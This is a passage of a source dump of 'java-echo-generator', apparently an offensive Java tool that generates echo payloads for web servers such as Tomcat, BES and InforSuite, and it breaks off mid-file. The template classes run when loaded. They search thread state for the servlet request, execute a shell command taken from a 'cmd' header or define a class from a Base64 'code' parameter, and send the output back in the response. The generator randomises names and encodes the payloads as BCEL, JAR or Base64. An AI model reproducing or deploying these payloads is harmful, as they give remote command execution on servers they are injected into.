ClassFile classFile = ctClass.getClassFile2(); 85 | 86 | try { 87 | // javassist.bytecode.ClassFile.removeAttribute Since: 3.21 88 | ReflectionUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag}); 89 | } catch (Exception e) { 90 | try { 91 | // 兼容 javassist v3.20 及以下 92 | List attributes = (List) ReflectionUtil.getFV(classFile, "attributes"); 93 | removeAttribute(attributes, SourceFileAttribute.tag); 94 | } catch (Exception ignored) { 95 | } 96 | } 97 | } 98 | 99 | 100 | public static synchronized AttributeInfo removeAttribute(List attributes, String name) { 101 | if (attributes == null) return null; 102 | 103 | for (AttributeInfo ai : attributes) 104 | if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai; 105 | 106 | return null; 107 | } 108 | 109 | 110 | public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception { 111 | if (fieldValue != null) { 112 | JavassistUtil.addField(ctClass, fieldName, fieldValue); 113 | } 114 | } 115 | 116 | public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception { 117 | if (fieldValue != null) { 118 | JavassistUtil.addStaticField(ctClass, fieldName, fieldValue); 119 | } 120 | } 121 | 122 | public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception { 123 | if (className != null) { 124 | ctClass.setName(className); 125 | } 126 | } 127 | 128 | } 129 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/util/RandomUtil.java: -------------------------------------------------------------------------------- 1 | package jeg.common.util; 2 | 3 | import java.util.Random; 4 | 5 | public class RandomUtil { 6 | 7 | // 生成随机长度的字符串 8 | public static String genRandomLengthString(int minLength) { 9 | Random random = new Random(); 10 | StringBuilder sb = new StringBuilder(); 11 | int length = random.nextInt(16) + minLength; // 生成2-6之间的随机数 12 | for (int i = 0; i < length; i++) { 13 | char c = (char) (random.nextInt(26) + 'a'); 14 | if (i == 0) { 15 | c = Character.toUpperCase(c); 16 | } 17 | sb.append(c); 18 | } 19 | return sb.toString(); 20 | } 21 | 22 | } 23 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/util/ReflectionUtil.java: -------------------------------------------------------------------------------- 1 | package jeg.common.util; 2 | 3 | import java.lang.reflect.Field; 4 | import java.lang.reflect.InvocationTargetException; 5 | import java.lang.reflect.Method; 6 | 7 | public class ReflectionUtil { 8 | 9 | public static void setFV(Object var0, String var1, Object val) throws Exception { 10 | getF(var0, var1).set(var0, val); 11 | } 12 | 13 | public static Object getFV(Object obj, String fieldName) throws Exception { 14 | Field field = getF(obj, fieldName); 15 | field.setAccessible(true); 16 | return field.get(obj); 17 | } 18 | 19 | public static Field getF(Object obj, String fieldName) throws NoSuchFieldException { 20 | Class clazz = obj.getClass(); 21 | while (clazz != null) { 22 | try { 23 | Field field = clazz.getDeclaredField(fieldName); 24 | field.setAccessible(true); 25 | return field; 26 | } catch (NoSuchFieldException e) { 27 | clazz = clazz.getSuperclass(); 28 | } 29 | } 30 | throw new NoSuchFieldException(fieldName); 31 | } 32 | 33 | public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { 34 | return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); 35 | } 36 | 37 | 38 | public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 39 | Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); 40 | Method method = null; 41 | 42 | Class tempClass = clazz; 43 | while (method == null && tempClass != null) { 44 | try { 45 | if (paramClazz == null) { 46 | // Get all declared methods of the class 47 | Method[] methods = tempClass.getDeclaredMethods(); 48 | for (int i = 0; i < methods.length; i++) { 49 | if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { 50 | method = methods[i]; 51 | break; 52 | } 53 | } 54 | } else { 55 | method = tempClass.getDeclaredMethod(methodName, paramClazz); 56 | } 57 | } catch (NoSuchMethodException e) { 58 | tempClass = tempClass.getSuperclass(); 59 | } 60 | } 61 | if (method == null) { 62 | throw new NoSuchMethodException(methodName); 63 | } 64 | method.setAccessible(true); 65 | if (obj instanceof Class) { 66 | try { 67 | return method.invoke(null, param); 68 | } catch (IllegalAccessException e) { 69 | throw new RuntimeException(e.getMessage()); 70 | } 71 | } else { 72 | try { 73 | return method.invoke(obj, param); 74 | } catch (IllegalAccessException e) { 75 | throw new RuntimeException(e.getMessage()); 76 | } 77 | } 78 | } 79 | 80 | } 81 | -------------------------------------------------------------------------------- /jeg-core/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jeg 6 | java-echo-generator 7 | ${reversion} 8 | 9 | jEG-core 10 | 11 | 12 | ${artifactId}-${reversion} 13 | 14 | 15 | 16 | 17 | jeg 18 | jEG-common 19 | ${reversion} 20 | 21 | 22 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/config/jEGConfig.java: -------------------------------------------------------------------------------- 1 | package jeg.core.config; 2 | 3 | import jeg.common.config.Config; 4 | import jeg.common.config.Constants; 5 | import jeg.common.util.ClassUtil; 6 | import jeg.common.util.HeaderUtil; 7 | import jeg.common.util.RandomUtil; 8 | 9 | import java.util.Objects; 10 | 11 | public class jEGConfig extends Config { 12 | 13 | public jEGConfig() { 14 | } 15 | 16 | public void setServerType(String serverType) { 17 | this.serverType = serverType; 18 | } 19 | 20 | public void setModelType(String modelType) { 21 | this.modelType = modelType; 22 | } 23 | 24 | public void setClassName(String className) { 25 | this.className = className; 26 | } 27 | 28 | public void setFormatType(String formatType) { 29 | this.formatType = formatType; 30 | } 31 | 32 | public void setOutputDir(String outputDir) { 33 | this.outputDir = outputDir; 34 | } 35 | 36 | public void setReqHeaderName(String reqHeaderName) { 37 | this.reqHeaderName = reqHeaderName; 38 | } 39 | 40 | public void setReqParamName(String reqParamName) { 41 | this.reqParamName = reqParamName; 42 | } 43 | 44 | public void setRespHeaderName(String respHeaderName) { 45 | this.respHeaderName = respHeaderName; 46 | } 47 | 48 | public void setBase64ClassString(String base64ClassString) { 49 | this.base64ClassString = base64ClassString; 50 | } 51 | 52 | public void setClassBytes(byte[] classBytes) { 53 | this.classBytes = classBytes; 54 | } 55 | 56 | public void setClassBytesLength(int classBytesLength) { 57 | this.classBytesLength = classBytesLength; 58 | } 59 | 60 | public void setLoaderClassName(String loaderClassName) { 61 | this.loaderClassName = loaderClassName; 62 | } 63 | 64 | public void setGadgetType(String gadgetType) { 65 | this.gadgetType = gadgetType; 66 | } 67 | 68 | private String serverType; 69 | private String modelType; 70 | private String className; 71 | private String formatType; 72 | private String outputDir; 73 | private String desKey; 74 | private String reqHeaderName; 75 | private String reqParamName; 76 | private String respHeaderName; 77 | private String base64ClassString; 78 | private byte[] classBytes; 79 | private int classBytesLength; 80 | private boolean implementsASTTransformationType = false; 81 | private boolean implementsScriptEngineFactory = false; 82 | private String loaderClassName; 83 | private String gadgetType; 84 | 85 | public String getModelType() { 86 | return modelType; 87 | } 88 | 89 | public String getServerType() { 90 | return serverType; 91 | } 92 | 93 | public String getClassName() { 94 | return className; 95 | } 96 | 97 | public String getFormatType() { 98 | return formatType; 99 | } 100 | 101 | public String getOutputDir() { 102 | return outputDir; 103 | } 104 | 105 | public String getDesKey() { 106 | return desKey; 107 | } 108 | 109 | public String getReqHeaderName() { 110 | return reqHeaderName; 111 | } 112 | 113 | public String getReqParamName() { 114 | return reqParamName; 115 | } 116 | 117 | public String getRespHeaderName() { 118 | return respHeaderName; 119 | } 120 | 121 | public String getBase64ClassString() { 122 | return base64ClassString; 123 | } 124 | 125 | public byte[] getClassBytes() { 126 | return classBytes; 127 | } 128 | 129 | public int getClassBytesLength() { 130 | return classBytesLength; 131 | } 132 | 133 | public String getLoaderClassName() { 134 | return loaderClassName; 135 | } 136 | 137 | public String getGadgetType() { 138 | return gadgetType; 139 | } 140 | 141 | public void build() { 142 | // 检查 serverType、modelType、formatType 是否已设置 143 | if (this.modelType == null || this.serverType == null || this.formatType == null) { 144 | throw new IllegalStateException("serverType、modelType and formatType must be set."); 145 | } 146 | // 可选参数,默认随机 147 | if (this.getOutputDir() == null || Objects.equals(this.getOutputDir(), "")) setOutputDir(System.getProperty("user.dir")); 148 | if (this.getClassName() == null || Objects.equals(this.getClassName(), "")) setClassName(ClassUtil.getRandomClassName()); 149 | if (this.getReqHeaderName() == null || Objects.equals(this.getReqHeaderName(), "")) setReqHeaderName(HeaderUtil.genHeaderName(jEGConstants.headerKeys)); 150 | if (this.getReqParamName() == null || Objects.equals(this.getReqParamName(), "")) setReqParamName(RandomUtil.genRandomLengthString(4)); 151 | if (this.getGadgetType() == null) setGadgetType(Constants.GADGET_NONE); 152 | } 153 | } -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/config/jEGConstants.java: -------------------------------------------------------------------------------- 1 | package jeg.core.config; 2 | 3 | import jeg.common.config.Constants; 4 | 5 | public interface jEGConstants extends Constants { 6 | 7 | String JEG_NAME = "java-echo-generator"; 8 | String JEG_VERSION = "v1.0.0"; 9 | String JEG_AUTHOR = "pen4uin"; 10 | String JEG_DESCRIPTION = "Java 回显载荷生成器"; 11 | 12 | String[] headerKeys = {"Accept-","Content-","Cache-Control-","Transfer-","Last-Modified-","Etag-"}; 13 | 14 | String MODEL_CODE = "Code"; 15 | String MODEL_CMD = "Command"; 16 | } -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/jEGenerator.java: -------------------------------------------------------------------------------- 1 | package jeg.core; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import jeg.common.config.Constants; 7 | import jeg.common.format.*; 8 | import jeg.common.util.*; 9 | import jeg.core.config.jEGConfig; 10 | import jeg.core.config.jEGConstants; 11 | import jeg.core.util.TemplateUtil; 12 | import java.io.File; 13 | import java.io.IOException; 14 | 15 | public class jEGenerator { 16 | private final static ClassPool pool = ClassPool.getDefault(); 17 | 18 | private final jEGConfig config; 19 | private byte[] clazzBytes; 20 | 21 | 22 | public jEGenerator(jEGConfig config) throws Throwable { 23 | this.config = config; 24 | this.genPayload(); 25 | this.formatPayload(); 26 | } 27 | 28 | private void genPayload() throws Exception { 29 | CtClass ctClass; 30 | pool.insertClassPath(new ClassClassPath(jEGenerator.class)); 31 | 32 | String className = TemplateUtil.getEchoTplClassName(config.getServerType(), config.getModelType()); 33 | ctClass = pool.getCtClass(className); 34 | 35 | ctClass.getClassFile().setVersionToJava5(); 36 | 37 | try { 38 | if (config.getReqHeaderName() != null && config.getModelType().equals(jEGConstants.MODEL_CMD)) { 39 | JavassistUtil.addMethod(ctClass, "getReqHeaderName", String.format("{return \"%s\";}", config.getReqHeaderName())); 40 | } 41 | if (config.getReqParamName() != null && config.getModelType().equals(jEGConstants.MODEL_CODE)) { 42 | JavassistUtil.addMethod(ctClass, "getReqParamName", String.format("{return \"%s\";}", config.getReqParamName())); 43 | } 44 | ctClass.setName(config.getClassName()); 45 | } catch (Exception e) { 46 | e.printStackTrace(); 47 | 48 | } 49 | JavassistUtil.removeSourceFileAttribute(ctClass); 50 | clazzBytes = new GadgetUtil(config, pool, ctClass).modify(); 51 | config.setClassBytesLength(clazzBytes.length); 52 | config.setClassBytesInFormatter(clazzBytes); 53 | config.setClassNameInFormatter(config.getClassName()); 54 | ctClass.detach(); 55 | } 56 | 57 | 58 | private void formatPayload() throws Throwable { 59 | if (config.getFormatType().contains(jEGConstants.FORMAT_BCEL)) { 60 | clazzBytes = new BCELFormatter().transform(clazzBytes, config); 61 | } else if (config.getFormatType().contains(jEGConstants.FORMAT_JAR)) { 62 | clazzBytes = new JARFormatter().transform(clazzBytes, config); 63 | } else if (config.getFormatType().contains(jEGConstants.FORMAT_BASE64)) { 64 | clazzBytes = new BASE64Formatter().transform(clazzBytes, config); 65 | } else if (config.getFormatType().contains(jEGConstants.FORMAT_BIGINTEGER)) { 66 | clazzBytes = new BigIntegerFormatter().transform(clazzBytes, config); 67 | } else if (config.getFormatType().contains(jEGConstants.FORMAT_JS)) { 68 | clazzBytes = new JavaScriptFormatter().transform(clazzBytes, config); 69 | } 70 | } 71 | 72 | public String getPayload() throws IOException { 73 | 74 | String outputDir = config.getOutputDir(); 75 | String file_output_path = outputDir; 76 | if (!file_output_path.endsWith(File.separator)) file_output_path = file_output_path + File.separator; 77 | File dir = new File(outputDir); 78 | if (!dir.exists() || !dir.isDirectory()) { 79 | dir.mkdirs(); 80 | } 81 | 82 | // 判断输出格式 83 | switch (config.getFormatType()) { 84 | case Constants.FORMAT_CLASS: 85 | file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + ".class"; 86 | break; 87 | case Constants.FORMAT_JAR: 88 | file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + ".jar"; 89 | break; 90 | case Constants.FORMAT_BIGINTEGER: 91 | case Constants.FORMAT_JS: 92 | case Constants.FORMAT_BASE64: 93 | case Constants.FORMAT_BCEL: 94 | return new String(clazzBytes); 95 | default: 96 | break; 97 | } 98 | FileUtil.writeFile(file_output_path, clazzBytes); 99 | return file_output_path; 100 | } 101 | 102 | } -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/all/DFSCmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.all; 2 | 3 | import java.io.PrintWriter; 4 | import java.lang.reflect.Field; 5 | import java.lang.reflect.InvocationTargetException; 6 | import java.lang.reflect.Method; 7 | import java.util.HashSet; 8 | import java.util.Scanner; 9 | 10 | public class DFSCmdExecTpl { 11 | static { 12 | try { 13 | new DFSCmdExecTpl(); 14 | } catch (Exception e) { 15 | } 16 | } 17 | 18 | static HashSet h; 19 | static ClassLoader cl = Thread.currentThread().getContextClassLoader(); 20 | static Class hsr;//HTTPServletRequest.class 21 | static Class hsp;//HTTPServletResponse.class 22 | static String cmd; 23 | static Object r; 24 | static Object p; 25 | 26 | public DFSCmdExecTpl() { 27 | r = null; 28 | p = null; 29 | h =new HashSet(); 30 | try { 31 | hsr = cl.loadClass("javax.servlet.http.HttpServletRequest"); 32 | hsp = cl.loadClass("javax.servlet.http.HttpServletResponse"); 33 | } catch (ClassNotFoundException e) { 34 | e.printStackTrace(); 35 | } 36 | 37 | F(Thread.currentThread(),0); 38 | } 39 | 40 | private static String getReqHeaderName() { 41 | return "cmd"; 42 | } 43 | 44 | private static boolean i(Object obj){ 45 | if(obj==null|| h.contains(obj)){ 46 | return true; 47 | } 48 | 49 | h.add(obj); 50 | return false; 51 | } 52 | private static void p(Object o, int depth){ 53 | if(depth > 52||(r !=null&& p !=null)){ 54 | return; 55 | } 56 | if(!i(o)){ 57 | if(r ==null&&hsr.isAssignableFrom(o.getClass())){ 58 | r = o; 59 | //Tomcat特殊处理 60 | try { 61 | cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,getReqHeaderName()); 62 | if(cmd==null) { 63 | r = null; 64 | }else{ 65 | //System.out.println("find Request"); 66 | try { 67 | Method getResponse = r.getClass().getMethod("getResponse"); 68 | p = getResponse.invoke(r); 69 | } catch (Exception e) { 70 | //System.out.println("getResponse Error"); 71 | r=null; 72 | //e.printStackTrace(); 73 | } 74 | } 75 | } catch (IllegalAccessException e) { 76 | e.printStackTrace(); 77 | } catch (InvocationTargetException e) { 78 | e.printStackTrace(); 79 | } catch (NoSuchMethodException e) { 80 | e.printStackTrace(); 81 | } 82 | 83 | }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){ 84 | p = o; 85 | 86 | 87 | } 88 | if(r !=null&& p !=null){ 89 | try { 90 | PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p); 91 | pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next()); 92 | pw.flush(); 93 | pw.close(); 94 | //p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next()); 95 | }catch (Exception e){ 96 | } 97 | return; 98 | } 99 | 100 | F(o,depth+1); 101 | } 102 | } 103 | private static void F(Object start, int depth){ 104 | 105 | Class n=start.getClass(); 106 | do{ 107 | for (Field declaredField : n.getDeclaredFields()) { 108 | declaredField.setAccessible(true); 109 | Object o = null; 110 | try{ 111 | o = declaredField.get(start); 112 | 113 | if(!o.getClass().isArray()){ 114 | p(o,depth); 115 | }else{ 116 | for (Object q : (Object[]) o) { 117 | p(q, depth); 118 | } 119 | 120 | } 121 | 122 | }catch (Exception e){ 123 | } 124 | } 125 | 126 | }while( 127 | (n = n.getSuperclass())!=null 128 | ); 129 | } 130 | } -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/all/DFSCodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.all; 2 | 3 | import java.io.PrintWriter; 4 | import java.lang.reflect.Field; 5 | import java.lang.reflect.InvocationTargetException; 6 | import java.lang.reflect.Method; 7 | import java.util.HashSet; 8 | import java.util.Scanner; 9 | 10 | public class DFSCodeExecTpl { 11 | static { 12 | try { 13 | new DFSCodeExecTpl(); 14 | } catch (Exception e) { 15 | } 16 | } 17 | 18 | static HashSet h; 19 | static ClassLoader cl = Thread.currentThread().getContextClassLoader(); 20 | static Class hsr;//HTTPServletRequest.class 21 | static Class hsp;//HTTPServletResponse.class 22 | static String code; 23 | static Object r; 24 | static Object p; 25 | 26 | public DFSCodeExecTpl() { 27 | r = null; 28 | p = null; 29 | h =new HashSet(); 30 | try { 31 | hsr = cl.loadClass("javax.servlet.http.HttpServletRequest"); 32 | hsp = cl.loadClass("javax.servlet.http.HttpServletResponse"); 33 | } catch (ClassNotFoundException e) { 34 | e.printStackTrace(); 35 | } 36 | 37 | F(Thread.currentThread(),0); 38 | } 39 | 40 | private static String getReqParamName() { 41 | return "code"; 42 | } 43 | 44 | private static boolean i(Object obj){ 45 | if(obj==null|| h.contains(obj)){ 46 | return true; 47 | } 48 | 49 | h.add(obj); 50 | return false; 51 | } 52 | private static void p(Object o, int depth){ 53 | if(depth > 52||(r !=null&& p !=null)){ 54 | return; 55 | } 56 | if(!i(o)){ 57 | if(r ==null&&hsr.isAssignableFrom(o.getClass())){ 58 | r = o; 59 | //Tomcat特殊处理 60 | try { 61 | code = (String)hsr.getMethod("getParameter",new Class[]{String.class}).invoke(o,getReqParamName()); 62 | if(code==null) { 63 | r = null; 64 | }else{ 65 | //System.out.println("find Request"); 66 | try { 67 | Method getResponse = r.getClass().getMethod("getResponse"); 68 | p = getResponse.invoke(r); 69 | } catch (Exception e) { 70 | //System.out.println("getResponse Error"); 71 | r=null; 72 | //e.printStackTrace(); 73 | } 74 | } 75 | } catch (IllegalAccessException | InvocationTargetException e) { 76 | e.printStackTrace(); 77 | } catch (NoSuchMethodException e) { 78 | e.printStackTrace(); 79 | } 80 | 81 | }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){ 82 | p = o; 83 | 84 | 85 | } 86 | if(r !=null&& p !=null){ 87 | try { 88 | PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p); 89 | pw.println(exec(code)); 90 | pw.flush(); 91 | pw.close(); 92 | //p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next()); 93 | }catch (Exception e){ 94 | } 95 | return; 96 | } 97 | 98 | F(o,depth+1); 99 | } 100 | } 101 | 102 | private static String exec(String var2) { 103 | try { 104 | byte[] clazzByte = base64Decode(var2); 105 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 106 | defineClass.setAccessible(true); 107 | Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); 108 | return clazz.newInstance().toString(); 109 | } catch (Exception e) { 110 | return e.getMessage(); 111 | } 112 | } 113 | 114 | private static byte[] base64Decode(String str) throws Exception { 115 | try { 116 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 117 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 118 | } catch (Exception var4) { 119 | Class clazz = Class.forName("java.util.Base64"); 120 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 121 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 122 | } 123 | } 124 | 125 | private static void F(Object start, int depth){ 126 | 127 | Class n=start.getClass(); 128 | do{ 129 | for (Field declaredField : n.getDeclaredFields()) { 130 | declaredField.setAccessible(true); 131 | Object o = null; 132 | try{ 133 | o = declaredField.get(start); 134 | 135 | if(!o.getClass().isArray()){ 136 | p(o,depth); 137 | }else{ 138 | for (Object q : (Object[]) o) { 139 | p(q, depth); 140 | } 141 | 142 | } 143 | 144 | }catch (Exception e){ 145 | } 146 | } 147 | 148 | }while( 149 | (n = n.getSuperclass())!=null 150 | ); 151 | } 152 | } -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/bes/BESCmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.bes; 2 | 3 | import jeg.core.template.jetty.JettyCmdExecTpl; 4 | 5 | import java.io.InputStream; 6 | import java.io.Writer; 7 | import java.lang.reflect.Array; 8 | import java.lang.reflect.Field; 9 | import java.lang.reflect.InvocationTargetException; 10 | import java.util.ArrayList; 11 | import java.util.List; 12 | import java.util.Scanner; 13 | import java.util.Set; 14 | 15 | public class BESCmdExecTpl { 16 | static { 17 | try { 18 | new BESCmdExecTpl(); 19 | } catch (Exception e) { 20 | } 21 | } 22 | 23 | private static String getReqHeaderName() { 24 | return "cmd"; 25 | } 26 | 27 | public BESCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { 28 | run(); 29 | } 30 | 31 | public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 32 | Set threadSet = Thread.getAllStackTraces().keySet(); 33 | List taskThreadList = new ArrayList(); 34 | for (Thread thread : threadSet) { 35 | if (thread.getClass().getName().contains("org.apache.tomcat.util.threads.TaskThread")) { 36 | // 将目标对象添加到列表中 37 | taskThreadList.add(thread); 38 | } 39 | } 40 | List tables = new ArrayList(); 41 | for (Thread thread : taskThreadList) { 42 | try { 43 | Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); 44 | threadLocalsField.setAccessible(true); 45 | Object localMap = threadLocalsField.get(thread); 46 | Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); 47 | Field tableField = threadLocalMapClass.getDeclaredField("table"); 48 | tableField.setAccessible(true); 49 | Object table = tableField.get(localMap); 50 | tables.add(table); 51 | } catch (Exception e) { 52 | continue; 53 | } 54 | } 55 | 56 | List values = new ArrayList(); 57 | for (Object table : tables) { 58 | // 遍历 table 中的项 59 | try { 60 | if (table != null && table.getClass().isArray()) { 61 | int length = Array.getLength(table); 62 | for (int i = 0; i < length; i++) { 63 | Object entry = Array.get(table, i); 64 | if (entry != null) { 65 | // 获取 entry 的 value 字段 66 | try { 67 | Field valueField = entry.getClass().getDeclaredField("value"); 68 | valueField.setAccessible(true); 69 | Object value = valueField.get(entry); 70 | values.add(value); 71 | } catch (Exception e) { 72 | } 73 | } 74 | } 75 | } 76 | } catch (Exception e) { 77 | } 78 | 79 | } 80 | 81 | for (Object value : values) { 82 | if (value != null && value.getClass().getName().equals("org.apache.catalina.connector.Request")) { 83 | try { 84 | // 从 request header 获取参数 85 | String cmd = (String) value.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()}); 86 | if (cmd != null) { 87 | Object response = value.getClass().getMethod("getResponse", new Class[0]).invoke(value); 88 | Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); 89 | writer.write(executeCommand(cmd)); 90 | writer.flush(); 91 | writer.close(); 92 | break; 93 | } 94 | } catch (Exception ignored) { 95 | } 96 | } 97 | } 98 | } 99 | 100 | // 执行模块 101 | public static String executeCommand(String cmd) { 102 | if (cmd == null) { 103 | return "command is null"; 104 | } 105 | try { 106 | boolean isLinux = true; 107 | String osType = System.getProperty("os.name"); 108 | if (osType != null && osType.toLowerCase().contains("win")) { 109 | isLinux = false; 110 | } 111 | String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 112 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 113 | Scanner s = new Scanner(in).useDelimiter("\\a"); 114 | String execRes = ""; 115 | while (s.hasNext()) { 116 | execRes += s.next(); 117 | } 118 | if (execRes.isEmpty()) { 119 | return String.format("code exec successfully, command:%s fails. The command may not exist!\n", cmd); 120 | } 121 | return execRes; 122 | } catch (Exception e) { 123 | return String.format( e.getMessage()); 124 | } 125 | } 126 | } -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/bes/BESCodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.bes; 2 | 3 | import java.io.Writer; 4 | import java.lang.reflect.Array; 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | import java.util.ArrayList; 9 | import java.util.List; 10 | import java.util.Set; 11 | 12 | public class BESCodeExecTpl { 13 | static { 14 | try { 15 | new BESCodeExecTpl(); 16 | } catch (Exception e) { 17 | } 18 | } 19 | 20 | private static String getReqParamName() { 21 | return "code"; 22 | } 23 | 24 | public BESCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { 25 | run(); 26 | } 27 | 28 | public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 29 | Set threadSet = Thread.getAllStackTraces().keySet(); 30 | List taskThreadList = new ArrayList(); 31 | for (Thread thread : threadSet) { 32 | if (thread.getClass().getName().contains("org.apache.tomcat.util.threads.TaskThread")) { 33 | // 将目标对象添加到列表中 34 | taskThreadList.add(thread); 35 | } 36 | } 37 | List tables = new ArrayList(); 38 | for (Thread thread : taskThreadList) { 39 | try { 40 | Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); 41 | threadLocalsField.setAccessible(true); 42 | Object localMap = threadLocalsField.get(thread); 43 | Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); 44 | Field tableField = threadLocalMapClass.getDeclaredField("table"); 45 | tableField.setAccessible(true); 46 | Object table = tableField.get(localMap); 47 | tables.add(table); 48 | } catch (Exception e) { 49 | continue; 50 | } 51 | } 52 | 53 | List values = new ArrayList(); 54 | for (Object table : tables) { 55 | // 遍历 table 中的项 56 | try { 57 | if (table != null && table.getClass().isArray()) { 58 | int length = Array.getLength(table); 59 | for (int i = 0; i < length; i++) { 60 | Object entry = Array.get(table, i); 61 | if (entry != null) { 62 | // 获取 entry 的 value 字段 63 | try { 64 | Field valueField = entry.getClass().getDeclaredField("value"); 65 | valueField.setAccessible(true); 66 | Object value = valueField.get(entry); 67 | values.add(value); 68 | } catch (Exception e) { 69 | } 70 | } 71 | } 72 | } 73 | } catch (Exception e) { 74 | } 75 | 76 | } 77 | 78 | for (Object value : values) { 79 | if (value != null && value.getClass().getName().equals("org.apache.catalina.connector.Request")) { 80 | try { 81 | // 从 request body 获取参数 82 | String code = (String) value.getClass().getMethod("getParameter", String.class).invoke(value, getReqParamName()); 83 | if (code != null) { 84 | Object response = value.getClass().getMethod("getResponse", new Class[0]).invoke(value); 85 | Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); 86 | writer.write(defineClazz(code)); 87 | writer.flush(); 88 | writer.close(); 89 | break; 90 | } 91 | } catch (Exception ignored) { 92 | } 93 | } 94 | } 95 | } 96 | 97 | private static String defineClazz(String var2) { 98 | try { 99 | byte[] clazzByte = base64Decode(var2); 100 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 101 | defineClass.setAccessible(true); 102 | Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); 103 | return clazz.newInstance().toString(); 104 | } catch (Exception e) { 105 | return e.getMessage(); 106 | } 107 | } 108 | 109 | private static byte[] base64Decode(String str) throws Exception { 110 | try { 111 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 112 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 113 | } catch (Exception var4) { 114 | Class clazz = Class.forName("java.util.Base64"); 115 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 116 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 117 | } 118 | } 119 | 120 | } -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.inforsuite; 2 | 3 | import jeg.core.template.bes.BESCmdExecTpl; 4 | 5 | import java.io.InputStream; 6 | import java.io.Writer; 7 | import java.lang.reflect.Array; 8 | import java.lang.reflect.Field; 9 | import java.lang.reflect.InvocationTargetException; 10 | import java.util.ArrayList; 11 | import java.util.List; 12 | import java.util.Scanner; 13 | import java.util.Set; 14 | 15 | public class InforSuiteCmdExecTpl { 16 | static { 17 | try { 18 | new InforSuiteCmdExecTpl(); 19 | } catch (Exception e) { 20 | } 21 | } 22 | private static String getReqHeaderName() { 23 | return "cmd"; 24 | } 25 | 26 | public InforSuiteCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { 27 | run(); 28 | } 29 | 30 | public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 31 | Set threadSet = Thread.getAllStackTraces().keySet(); 32 | List taskThreadList = new ArrayList(); 33 | for (Thread thread : threadSet) { 34 | if 